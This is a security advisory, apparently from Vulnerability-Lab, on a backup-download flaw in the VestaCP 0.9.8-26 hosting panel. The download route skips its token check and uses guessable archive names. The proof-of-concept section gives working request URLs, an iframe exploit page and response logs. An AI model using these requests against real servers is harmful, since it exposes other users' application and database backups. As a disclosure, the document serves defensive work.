# Exploit Title: VestaCP 0.9.8-26 - 'backup' Information Disclosure
# Date: 2020-11-25
# Exploit Author: Vulnerability-Lab
# Vendor Homepage: https://vestacp.com/
# Software Link: https://vestacp.com/install/
# Version: 0.9.8-26
Document Title:
===============
VestaCP v0.9.8-26 - Insufficient Session Validation Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2238
Release Date:
=============
2020-11-25
Vulnerability Laboratory ID (VL-ID):
====================================
2238
Common Vulnerability Scoring System:
====================================
7
Vulnerability Class:
====================
Insufficient Session Validation
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Web interface is open source php and javascript interface based on Vesta
open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software
and other kinds of works. Its free to change,
modify and redistribute source code.
(Copy of the Homepage: https://vestacp.com/features/ &
https://vestacp.com/install/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
insufficient session validation vulnerability in the VestaCP v0.9.8-26
hosting web-application.
Affected Product(s):
====================
Vesta
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-25: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Restricted Authentication (Guest Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
An insufficient session validation vulnerability has been discovered in
the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to gain sensitive
web-application data or information without permission, authentication
or authorization.
The backup url includes a token parameter for the download request on
backups. The mechanism is to secure that other users can only download the
backup with the token to confirm the permission. The token is not
required for the download and can be deattached in the client-side
session request.
The session validation of the backup download request is insufficient
validating the request without token parameter approval. Next to that
the backup
uses the name of the privileges in combination with the date in a tar
compressed folder. Thus allows a remote attacker with low user
privileges to
download the backup data without permission.
Successful exploitation of the session web vulnerability results in
information disclosure of the local application and dbms backup files.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] /download/backup/
Vulnerable Parameter(s):
[+] token
Affected Parameter(s):
[+] backup
Proof of Concept (PoC):
=======================
The insufficient session validation vulnerability can be exploited by
remote attackers with simple user privileges without user interaction.
For security demonstration or to reproduce the information disclosure
issue follow the provided information and steps below to continue.
Request: Default (Download Backup)
https://vestacp.localhost:8083/download/backup/?backup=user.2020-04-28_00-00-17.tar&token=d6f4a3a923ab5c60ef0a52995245a3d4
https://vestacp.localhost:8083/download/backup/?backup=admin.2020-04-28_00-00-17.tar&token=d6f4a3a923ab5c60ef0a52995245a3d4
PoC: Exploitation
https://vestacp.localhost:8083/download/backup/?backup=[USER/ADMIN].[YYYY-MM-DD_HH-MM-SS].tar
https://vestacp.localhost:8083/download/backup/?backup=user.2020-04-28_00-00-17.tar
https://vestacp.localhost:8083/download/backup/?backup=admin.2020-04-28_00-00-17.tar
PoC: Exploit
<html>
<head><body>
<title>VestaCP (Control Panel) v0.9.8-26 - Information Disclosure
(Backup)</title>
<iframe
src=https://vestacp.localhost:8083/download/backup/?backup=[USER/ADMIN].[YYYY-MM-DD_HH-MM-SS].tar>
</body></head>
<html>
--- PoC Session Logs [GET] ---
https://vestacp.localhost:8083/download/backup/?backup=user.2020-**-**_00-00-17.tar
Host: vestacp.localhost:8083
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=4neq25hga91vqrf4maktd4q073;
-
GET: HTTP/1.1 200 OK
Server: nginx
Content-Type: application/gzip
Content-Length: 3891200
Connection: keep-alive
Content-Disposition: attachment; filename="user.2020-**-**_00-00-17.tar";
Accept-Ranges: bytes
Reference(s):
https://vestacp.localhost:8083/
https://vestacp.localhost:8083/download/
https://vestacp.localhost:8083/download/backup/
https://vestacp.localhost:8083/download/backup/?backup
Security Risk:
==============
The security risk of the session validation web vulnerability in the
vestacp web-application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
